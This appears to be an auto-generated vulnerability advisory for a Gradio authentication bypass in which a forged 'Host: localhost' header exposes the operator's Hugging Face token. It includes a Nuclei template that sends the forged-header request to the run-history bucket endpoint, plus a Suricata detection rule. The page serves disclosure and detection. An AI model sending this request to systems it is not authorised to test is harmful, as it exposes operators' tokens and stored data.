CVE-2026-134825: Gradio 6.27.0 before 6.32.0 Authentication Bypass via Forged Host Header

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-30 07:36 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Gradio 6.27.0 before 6.32.0 contains an authentication bypass vulnerability in gradio/history.py that allows remote unauthenticated attackers to use the operator’s locally saved Hugging Face token by sending a forged Host: localhost header. When ssr_mode is enabled, requests proxied through the local Node SSR server pass the loopback check, letting attackers call run history endpoints to list buckets, read records and assets, and write buckets under the operator’s account.

Description quoted from the CVE record (assigned by VulnCheck, published 2026-11-22).

Weakness: Authentication Bypass by Spoofing

How it can be exploited

Exploitable over the network with high attack complexity only when specific conditions are present needing no privileges and no user interaction. Impact: confidentiality high, integrity low, availability none. CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: no. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Exploit Observer found 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 8 references on Exploit Observer

Live scores

EPSS
0.006
low predicted chance of attack
VEDAS
0.985
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
Gradiofrom 6.27.0 before 6.32.0Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Fixed versions stated in the CVE record: 6.32.0.

Vendor guidance:

How to detect it

Nuclei template (active check)

Gradio - Authentication Bypass

Gradio 6.27.0 before 6.32.0 grants the operator’s locally saved Hugging Face token to any request whose Host header and network peer look like loopback. With ssr_mode enabled the local Node SSR proxy forwards a client-chosen Host, so a remote attacker sending `Host: localhost` can call the run-history endpoints with the operator’s token. This template performs a read-only bucket listing and matches the returned bucket list.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /gradio_api/run-history/buckets); it decides using regex, status, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-134825.yaml
Show the template (43 lines)
yaml
id: CVE-2026-134825

info:
  name: "Gradio - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Gradio 6.27.0 before 6.32.0 grants the operator's locally saved Hugging Face token to any request whose Host
    header and network peer look like loopback. With ssr_mode enabled the local Node SSR proxy forwards a
    client-chosen Host, so a remote attacker sending `Host: localhost` can call the run-history endpoints with the
    operator's token. This template performs a read-only bucket listing and matches the returned bucket list.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-134825&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=gradio&match=exact
  classification:
    cve-id: CVE-2026-134825
    cwe-id: CWE-863
  metadata:
    verified: false
  tags: cve,cve2026,gradio,auth-bypass
http:
  - method: GET
    path:
      - "{{BaseURL}}/gradio_api/run-history/buckets"

    headers:
      Host: localhost

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        part: body
        regex:
          - '^\s*\{"buckets":\s*\['

      - type: word
        part: header
        words:
          - "application/json"

CVE-2026-134825.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-134825 Gradio - Authentication Bypass via forged loopback Host. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-134825 Gradio - Authentication Bypass via forged loopback Host"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/gradio_api/run-history/"; nocase; fast_pattern; http.host; pcre:"/^(localhost|127\.0\.0\.1|\[::1\])(:\d+)?$/i"; classtype:web-application-attack; reference:cve,CVE-2026-134825; reference:url,https://www.exploit.observer/?keyword=CVE-2026-134825&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=gradio&match=exact; sid:1111001; rev:1;)

CVE-2026-134825.rules on GitHub

References

Vendor advisories and patches

Technical analysis and advisories

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

Supporting partners